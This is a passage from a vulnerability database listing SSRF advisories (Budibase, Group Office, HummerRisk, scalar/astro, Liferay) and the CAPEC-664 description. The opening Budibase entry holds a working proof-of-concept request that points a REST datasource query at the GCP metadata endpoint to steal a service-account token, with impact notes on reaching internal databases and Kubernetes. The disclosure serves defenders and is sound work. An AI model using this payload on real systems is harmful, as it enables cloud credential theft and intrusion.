budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs\nx-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b\nContent-Type: application/json\n\n{\n \"datasourceId\": \"datasource_49d5a1ed1c6149e48c4de0923e5b20c5\",\n \"name\": \"ssrf\", \"parameters\": [], \"transformer\": \"return data\", \"queryVerb\": \"read\",\n \"fields\": {\n \"path\": \"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token\",\n \"headers\": {\"Metadata-Flavor\": \"Google\"},\n \"queryString\": \"\", \"requestBody\": \"\"\n },\n \"schema\": {}\n}\n```\nResponse:\n```json\n{\"access_token\": \"ya29.d.c0AZ4bNpYDUK...\", \"expires_in\": 3598, \"token_type\": \"Bearer\"}\n```\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nAny authenticated admin/builder user can make the Budibase server issue HTTP requests to any network-reachable address. Confirmed impact on this engagement:\n\n- **Cloud credential theft** \u2014 GCP OAuth2 token with `cloud-platform` scope stolen from `169.254.169.254`. Token verified valid against GCP Projects API, granting full access to all GCP services in the project.\n- **Internal database access** \u2014 CouchDB reached at `budibase-svc-couchdb:5984` with extracted credentials, exposing all application data.\n- **Internal service enumeration** \u2014 MinIO (`minio-service:9000`), Redis, and internal worker APIs (`127.0.0.1:4002`) all reachable.\n- **Kubernetes cluster access** \u2014 K8s API server reachable at `kubernetes.default.svc` using the pod\u0027s mounted service account token.\n\nThe vulnerability affects **all deployment environments** (GCP, AWS, Azure, bare-metal, Docker Compose, Kubernetes). The specific impact depends on what services are reachable from the Budibase pod, but cloud metadata theft is possible on any cloud-hosted instance.\n\n\n\n\nDetected by:\nAbdulrahman Albatel\nAbdullah Alrasheed",
"id": "GHSA-4647-wpjq-hh7f",
"modified": "2026-03-25T18:15:24Z",
"published": "2026-03-18T20:22:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-4647-wpjq-hh7f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33226"
},
{
"type": "PACKAGE",
"url": "https://github.com/Budibase/budibase"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Budibase Unrestricted Server-Side Request Forgery (SSRF) via REST Datasource Query Preview"
}
GHSA-46JJ-588G-JH7G
Vulnerability from github – Published: 2022-05-24 17:47 – Updated: 2022-05-24 17:47A Server-Side Request Forgery (SSRF) vulnerability in Group Office 6.4.196 allows a remote attacker to forge GET requests to arbitrary URLs via the url parameter to group/api/upload.php.
{
"affected": [],
"aliases": [
"CVE-2021-28060"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-14T17:15:00Z",
"severity": "MODERATE"
},
"details": "A Server-Side Request Forgery (SSRF) vulnerability in Group Office 6.4.196 allows a remote attacker to forge GET requests to arbitrary URLs via the url parameter to group/api/upload.php.",
"id": "GHSA-46jj-588g-jh7g",
"modified": "2022-05-24T17:47:37Z",
"published": "2022-05-24T17:47:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-28060"
},
{
"type": "WEB",
"url": "https://fatihhcelik.blogspot.com/2020/12/group-office-crm-ssrf.html"
},
{
"type": "WEB",
"url": "https://fatihhcelik.github.io/posts/Group-Office-CRM-SSRF"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-46M9-H86M-P3XH
Vulnerability from github – Published: 2026-04-14 00:31 – Updated: 2026-04-14 00:31A vulnerability was identified in HummerRisk up to 1.5.0. This vulnerability affects the function ServerService.addServer of the file ServerService.java of the component Video File Download URL Handler. Such manipulation of the argument streamIp leads to server-side request forgery. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2026-6220"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-13T22:16:30Z",
"severity": "MODERATE"
},
"details": "A vulnerability was identified in HummerRisk up to 1.5.0. This vulnerability affects the function ServerService.addServer of the file ServerService.java of the component Video File Download URL Handler. Such manipulation of the argument streamIp leads to server-side request forgery. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-46m9-h86m-p3xh",
"modified": "2026-04-14T00:31:12Z",
"published": "2026-04-14T00:31:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6220"
},
{
"type": "WEB",
"url": "https://github.com/ccccccctiiiiiiii-lab/public_exp/issues/1"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/785855"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/357141"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/357141/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-46MR-VGX5-FC36
Vulnerability from github – Published: 2026-05-19 18:32 – Updated: 2026-05-20 15:35scalar/astro v0.1.13 was discovered to contain a Server-Side Request Forgery (SSRF) in the scalar_url query parameter of the Scalar Proxy endpoint. This vulnerability allows unauthenticated attackers to force the backend server to send HTTP requests to attacker-controlled URLs, leading to authentication cookies and headers exposure and possible privilege escalation.
{
"affected": [],
"aliases": [
"CVE-2026-30118"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-19T16:16:20Z",
"severity": "CRITICAL"
},
"details": "scalar/astro v0.1.13 was discovered to contain a Server-Side Request Forgery (SSRF) in the scalar_url query parameter of the Scalar Proxy endpoint. This vulnerability allows unauthenticated attackers to force the backend server to send HTTP requests to attacker-controlled URLs, leading to authentication cookies and headers exposure and possible privilege escalation.",
"id": "GHSA-46mr-vgx5-fc36",
"modified": "2026-05-20T15:35:23Z",
"published": "2026-05-19T18:32:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30118"
},
{
"type": "WEB",
"url": "https://github.com/prassan10/ssrf-zero-click-ato-scalar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-477Q-X55M-J38G
Vulnerability from github – Published: 2025-09-09 00:31 – Updated: 2025-09-10 20:04A server-side request forgery (SSRF) vulnerability exist in the Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.7, 2024.Q3.0 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13 and 2024.Q1.1 through 2024.Q1.20 that affects custom object attachment fields. This flaw allows an attacker to manipulate the application into making unauthorized requests to other instances, creating new object entries that link to external resources.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.liferay:com.liferay.object.service"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.208"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-43763"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-10T19:58:09Z",
"nvd_published_at": "2025-09-09T00:15:32Z",
"severity": "MODERATE"
},
"details": "A server-side request forgery (SSRF) vulnerability exist in the Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.7, 2024.Q3.0 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13 and 2024.Q1.1 through 2024.Q1.20 that affects custom object attachment fields. This flaw allows an attacker to manipulate the application into making unauthorized requests to other instances, creating new object entries that link to external resources.",
"id": "GHSA-477q-x55m-j38g",
"modified": "2025-09-10T20:04:36Z",
"published": "2025-09-09T00:31:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43763"
},
{
"type": "WEB",
"url": "https://github.com/liferay/liferay-portal/commit/0adf32842d055f40accc8b341c4feb11a9728261"
},
{
"type": "WEB",
"url": "https://github.com/liferay/liferay-portal/commit/e5fe3f9e9916e66a896e7c321e641c6eabbf4dae"
},
{
"type": "PACKAGE",
"url": "https://github.com/liferay/liferay-portal"
},
{
"type": "WEB",
"url": "https://liferay.atlassian.net/browse/LPE-18182"
},
{
"type": "WEB",
"url": "https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/CVE-2025-43763"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Liferay Portal is vulnerable to SSRF through custom object attachment fields"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.